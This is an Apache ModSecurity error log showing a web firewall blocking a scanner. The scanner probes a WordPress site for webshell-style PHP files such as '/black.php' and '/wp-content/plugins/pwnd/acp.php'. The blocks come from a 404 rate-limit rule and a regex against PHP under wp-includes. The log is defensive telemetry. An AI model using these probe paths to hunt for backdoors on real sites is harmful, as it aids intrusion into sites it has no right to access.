[Tue Mar 24 05:23:20.377309 2026] [:error] [pid 38767:tid 38777] [client 172.213.136.15:37298] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zrerbwfu.php"] [unique_id "acGvSPwkUqN4GJAI5oVrmgAAAQc"]
[Tue Mar 24 05:23:21.167223 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:37334] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zrerbwfu.php"] [unique_id "acGvSSa_-JXXD03-JNzBqAAAAIc"]
[Tue Mar 24 05:23:22.126844 2026] [:error] [pid 38767:tid 38780] [client 172.213.136.15:26593] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zrerbwfu.php"] [unique_id "acGvSvwkUqN4GJAI5oVrpAAAAQo"]
[Tue Mar 24 05:23:24.323429 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:34734] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zrerbwfu.php"] [unique_id "acGvTPwkUqN4GJAI5oVrrQAAARM"]
[Tue Mar 24 05:23:25.201133 2026] [:error] [pid 3031:tid 3080] [client 172.213.136.15:37289] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/black.php"] [unique_id "acGvTaJBKytnG47nuibWLwAAAEQ"]
[Tue Mar 24 05:23:26.426476 2026] [:error] [pid 3032:tid 3120] [client 172.213.136.15:28724] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/black.php"] [unique_id "acGvTia_-JXXD03-JNzBrgAAAJE"]
[Tue Mar 24 05:23:27.649580 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:6267] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/black.php"] [unique_id "acGvTya_-JXXD03-JNzBsAAAAIM"]
[Tue Mar 24 05:23:28.332837 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:24156] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/black.php"] [unique_id "acGvUJdZesutm6dfYM_Z3AAAAMQ"]
[Tue Mar 24 05:23:30.090786 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:25045] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nz.php"] [unique_id "acGvUpdZesutm6dfYM_Z6QAAANU"]
[Tue Mar 24 05:23:31.289592 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:6264] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nz.php"] [unique_id "acGvU5dZesutm6dfYM_Z8AAAAMA"]
[Tue Mar 24 05:23:33.630161 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:30720] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nz.php"] [unique_id "acGvVfwkUqN4GJAI5oVruwAAARI"]
[Tue Mar 24 05:23:34.624998 2026] [:error] [pid 3030:tid 3058] [client 172.213.136.15:36278] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/nz.php"] [unique_id "acGvVgyOuILyynfcqfnyPgAAAAk"]
[Tue Mar 24 05:23:35.544126 2026] [:error] [pid 3030:tid 3057] [client 172.213.136.15:27014] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "acGvVwyOuILyynfcqfnyQAAAAAg"]
[Tue Mar 24 05:23:37.307275 2026] [:error] [pid 3137:tid 3153] [client 172.213.136.15:27021] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "acGvWZdZesutm6dfYM_Z-QAAAM4"]
[Tue Mar 24 05:23:38.356658 2026] [:error] [pid 38767:tid 38788] [client 172.213.136.15:25803] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "acGvWvwkUqN4GJAI5oVryAAAARI"]
[Tue Mar 24 05:23:39.734049 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:32911] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vv.php"] [unique_id "acGvW5dZesutm6dfYM_Z_AAAAMU"]
[Tue Mar 24 05:23:40.609343 2026] [:error] [pid 3137:tid 3151] [client 172.213.136.15:42507] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "acGvXJdZesutm6dfYM_aAgAAAMw"]
[Tue Mar 24 05:23:41.530116 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:22249] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "acGvXZdZesutm6dfYM_aBwAAANU"]
[Tue Mar 24 05:23:42.310994 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:42520] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "acGvXpdZesutm6dfYM_aDgAAAMU"]
[Tue Mar 24 05:23:43.054953 2026] [:error] [pid 3030:tid 3054] [client 172.213.136.15:42504] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/fff.php"] [unique_id "acGvXwyOuILyynfcqfnySQAAAAU"]
[Tue Mar 24 05:23:43.758461 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:23264] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scxy.php"] [unique_id "acGvX_wkUqN4GJAI5oVr3QAAAQM"]
[Tue Mar 24 05:23:44.529592 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:26337] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scxy.php"] [unique_id "acGvYCa_-JXXD03-JNzBvgAAAIM"]
[Tue Mar 24 05:23:45.114967 2026] [:error] [pid 3137:tid 3146] [client 172.213.136.15:34277] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scxy.php"] [unique_id "acGvYZdZesutm6dfYM_aHwAAAMc"]
[Tue Mar 24 05:23:45.844122 2026] [:error] [pid 3032:tid 3103] [client 172.213.136.15:36268] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-scxy.php"] [unique_id "acGvYSa_-JXXD03-JNzBwQAAAIA"]
[Tue Mar 24 05:23:46.657597 2026] [:error] [pid 38767:tid 38786] [client 172.213.136.15:23819] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou1.php"] [unique_id "acGvYvwkUqN4GJAI5oVr6AAAARA"]
[Tue Mar 24 05:23:47.387792 2026] [:error] [pid 3032:tid 3127] [client 172.213.136.15:44561] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou1.php"] [unique_id "acGvYya_-JXXD03-JNzBwwAAAJc"]
[Tue Mar 24 05:23:48.295415 2026] [:error] [pid 3032:tid 3125] [client 172.213.136.15:26555] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou1.php"] [unique_id "acGvZCa_-JXXD03-JNzByAAAAJY"]
[Tue Mar 24 05:23:49.065765 2026] [:error] [pid 3137:tid 3143] [client 172.213.136.15:22208] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ccou1.php"] [unique_id "acGvZZdZesutm6dfYM_aKQAAAMQ"]
[Tue Mar 24 05:23:49.725223 2026] [:error] [pid 3030:tid 3058] [client 172.213.136.15:37267] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the1.php"] [unique_id "acGvZQyOuILyynfcqfnyTgAAAAk"]
[Tue Mar 24 05:23:50.540745 2026] [:error] [pid 3032:tid 3113] [client 172.213.136.15:22247] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the1.php"] [unique_id "acGvZia_-JXXD03-JNzB0QAAAIo"]
[Tue Mar 24 05:23:51.310880 2026] [:error] [pid 3032:tid 3110] [client 172.213.136.15:23273] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the1.php"] [unique_id "acGvZya_-JXXD03-JNzB2AAAAIc"]
[Tue Mar 24 05:23:52.620613 2026] [:error] [pid 3032:tid 3106] [client 172.213.136.15:32915] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-the1.php"] [unique_id "acGvaCa_-JXXD03-JNzB2wAAAIM"]
[Tue Mar 24 05:23:53.314511 2026] [:error] [pid 3137:tid 3151] [client 172.213.136.15:26515] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reyna.php"] [unique_id "acGvaZdZesutm6dfYM_aMQAAAMw"]
[Tue Mar 24 05:23:54.003391 2026] [:error] [pid 38767:tid 38779] [client 172.213.136.15:33235] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reyna.php"] [unique_id "acGvavwkUqN4GJAI5oVr9AAAAQk"]
[Tue Mar 24 05:23:54.915331 2026] [:error] [pid 38767:tid 38787] [client 172.213.136.15:23809] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reyna.php"] [unique_id "acGvavwkUqN4GJAI5oVr-gAAARE"]
[Tue Mar 24 05:23:56.206407 2026] [:error] [pid 3137:tid 3144] [client 172.213.136.15:26547] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/reyna.php"] [unique_id "acGvbJdZesutm6dfYM_aOwAAAMU"]
[Tue Mar 24 05:23:57.036750 2026] [:error] [pid 3137:tid 3150] [client 172.213.136.15:34302] [client 172.213.136.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/cah.php"] [unique_id "acGvbZdZesutm6dfYM_aPgAAAMs"]
[Tue Mar 24 05:23:57.733042 2026] [:error] [pid 38767:tid 38790] [client 172.213.136.15:26500] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cah.php"] [unique_id "acGvbfwkUqN4GJAI5oVsEAAAARQ"]
[Tue Mar 24 05:23:58.666729 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:37803] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cah.php"] [unique_id "acGvbpdZesutm6dfYM_aQAAAAMo"]
[Tue Mar 24 05:23:59.452634 2026] [:error] [pid 3137:tid 3139] [client 172.213.136.15:30047] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/cah.php"] [unique_id "acGvb5dZesutm6dfYM_aRgAAAMA"]
[Tue Mar 24 05:24:00.504393 2026] [:error] [pid 3137:tid 3162] [client 172.213.136.15:37766] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/acp.php"] [unique_id "acGvcJdZesutm6dfYM_aSgAAANc"]
[Tue Mar 24 05:24:01.505462 2026] [:error] [pid 3137:tid 3149] [client 172.213.136.15:48134] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/acp.php"] [unique_id "acGvcZdZesutm6dfYM_aTQAAAMo"]
[Tue Mar 24 05:24:02.683484 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:6783] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/pwnd/acp.php"] [unique_id "acGvcpdZesutm6dfYM_aUgAAANM"]
[Tue Mar 24 05:24:19.013891 2026] [:error] [pid 3031:tid 3098] [client 172.213.136.15:26566] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zeal.php"] [unique_id "acGvg6JBKytnG47nuibWdAAAAFY"]
[Tue Mar 24 05:24:20.458536 2026] [:error] [pid 38767:tid 38773] [client 172.213.136.15:22248] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zeal.php"] [unique_id "acGvhPwkUqN4GJAI5oVsbgAAAQM"]
[Tue Mar 24 05:24:22.010793 2026] [:error] [pid 3031:tid 3093] [client 172.213.136.15:37323] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zeal.php"] [unique_id "acGvhqJBKytnG47nuibWdgAAAFE"]
[Tue Mar 24 05:24:25.900870 2026] [:error] [pid 38767:tid 38772] [client 172.213.136.15:26623] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zeal.php"] [unique_id "acGvifwkUqN4GJAI5oVskAAAAQI"]
[Tue Mar 24 05:24:29.884497 2026] [:error] [pid 3137:tid 3160] [client 172.213.136.15:27673] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/asf.php"] [unique_id "acGvjZdZesutm6dfYM_alwAAANU"]
[Tue Mar 24 05:24:45.464148 2026] [:error] [pid 3137:tid 3152] [client 172.213.136.15:23741] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php"] [unique_id "acGvnZdZesutm6dfYM_a0wAAAM0"]
[Tue Mar 24 05:24:46.710386 2026] [:error] [pid 38767:tid 38789] [client 172.213.136.15:23592] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php"] [unique_id "acGvnvwkUqN4GJAI5oVsuQAAARM"]
[Tue Mar 24 05:24:48.203787 2026] [:error] [pid 3137:tid 3158] [client 172.213.136.15:35256] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php"] [unique_id "acGvoJdZesutm6dfYM_a4gAAANM"]
[Tue Mar 24 05:24:49.071807 2026] [:error] [pid 38767:tid 38771] [client 172.213.136.15:30484] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sa.php"] [unique_id "acGvofwkUqN4GJAI5oVswgAAAQE"]
[Tue Mar 24 05:24:51.329998 2026] [:error] [pid 38767:tid 38774] [client 172.213.136.15:21916] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acfdr.php"] [unique_id "acGvo_wkUqN4GJAI5oVsyAAAAQQ"]
[Tue Mar 24 05:24:52.509017 2026] [:error] [pid 3032:tid 3109] [client 172.213.136.15:29696] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acfdr.php"] [unique_id "acGvpCa_-JXXD03-JNzCRgAAAIY"]
[Tue Mar 24 05:24:53.213795 2026] [:error] [pid 3030:tid 3054] [client 172.213.136.15:26131] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acfdr.php"] [unique_id "acGvpQyOuILyynfcqfnyeQAAAAU"]
[Tue Mar 24 05:24:55.014560 2026] [:error] [pid 3032:tid 3111] [client 172.213.136.15:33705] [client 172.213.136.15] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/acfdr.php"] [unique_id "acGvpya_-JXXD03-JNzCTAAAAIg"]
